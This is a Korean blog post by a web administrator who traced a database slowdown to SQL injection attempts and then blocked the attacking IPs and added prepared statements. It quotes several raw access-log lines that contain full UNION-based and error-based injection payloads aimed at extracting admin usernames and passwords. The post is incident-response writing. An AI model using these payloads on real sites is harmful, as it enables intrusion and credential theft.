티스토리 뷰
갑자기 웹사이트가 느려져서 확인해보니 DB 서버가 미친듯이 폭주하고 있다.
Table lock 이 걸린게 있나 DB툴에서 process를 확인해봤다.
show full processlist;
프로세스를 확인해보니 역시나 특정 SELECT 쿼리에 의해 테이블락이 걸린 상태 그런데 쿼리가 이상하다.
WHERE 쪽에 테이블 스키마를 불러오는 서브쿼리가 있으며 동일한 쿼리를 수백번 반복적으로 불러오고 있었다.
쿼리를 보니 UNION, INFORMATION_SCHEMA 등을 사용하고 있어 httpd 로그를 검색했다
cp /var/log/httpd/access_log.backup
cat /var/log/httpd/access_log.backup | grep "union"
89.46.105.226 - - [19/Nov/2017:06:32:46 +0900] "GET /?act=user__showLoginPage&returnUrl=/index.php?act=qna__showList999999.1%20union%20select%20unhex(hex(version()))%20--%20and%201%3D1 HTTP/1.1" 200 38104
180.97.215.69 - - [21/Nov/2017:23:32:41 +0900] "GET //NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''=' HTTP/1.1" 404 294
180.97.215.69 - - [21/Nov/2017:23:32:41 +0900] "GET //plus/recommend.php?action=&aid=1&_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&_FILES%5Btype%5D%5Bname%5D=1.jpg&_FILES%5Btype%5D%5Btype%5D=application/octet-stream&_FILES%5Btype%5D%5Bsize%5D=4294 HTTP/1.1" 404 300
180.97.215.69 - - [21/Nov/2017:23:32:41 +0900] "GET //news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html HTTP/1.1" 404 292
180.97.215.69 - - [22/Nov/2017:06:07:34 +0900] "GET /plus/recommend.php?action=&aid=1&_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&_FILES%5Btype%5D%5Bname%5D=1.jpg&_FILES%5Btype%5D%5Btype%5D=application/octet-stream&_FILES%5Btype%5D%5Bsize%5D=4294 HTTP/1.1" 404 300
180.97.215.69 - - [22/Nov/2017:06:07:34 +0900] "GET /news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html HTTP/1.1" 404 292
58.218.200.115 - - [22/Nov/2017:16:57:12 +0900] "GET //NewsType.asp?SmallClass=%27%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20%27%27=%27 HTTP/1.1" 404 294
GET 파라미터로 SELECT 쿼리를 호출하고 있다.
이것은 말로만 듣던 SQL 인젝션 공격 쿼리 호출 아이피를 확인하니 중국, 싱가포르, 미국 등 많기도 하다.
우선 실서비스 중인 사이트이기 때문에 공격이 들어오는 아이피를 확인해 방화벽에 설정했다.
iptables -A INPUT -s xxx.xxx.xxx.xxx -j DROP
어차피 한국 서비스만 하는 사이트라 나중에 해외 관련 아이피를 막았다.
그리고 PHP 쪽 Mysql 접속 및 쿼리 실행 부분에 Prepared Statement 및 escape 설정을 추가했다.
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 비아트리스튜디오
- 부트스트랩 modal input
- PHP에서 PDF저장
- 강변웨딩스퀘어
- htmltopdf
- sms문자제한
- 맥북virtualbox
- niginx
- 구글10가지진실
- 세션문제
- 폴더권한
- osx centos7
- 비아트리
- badgateway
- httpd log 검색
- Linux
- WKHTMLTOPDF
- CONVERTING HTML TO PDF
- 구글의철학
- javascript
- 나의결혼식
- jquery dialog 오류
- input not clickable
- php7
- access denined
- nginx403
- nginx
- 세션저장이안됨
- linux folder
- php-fpm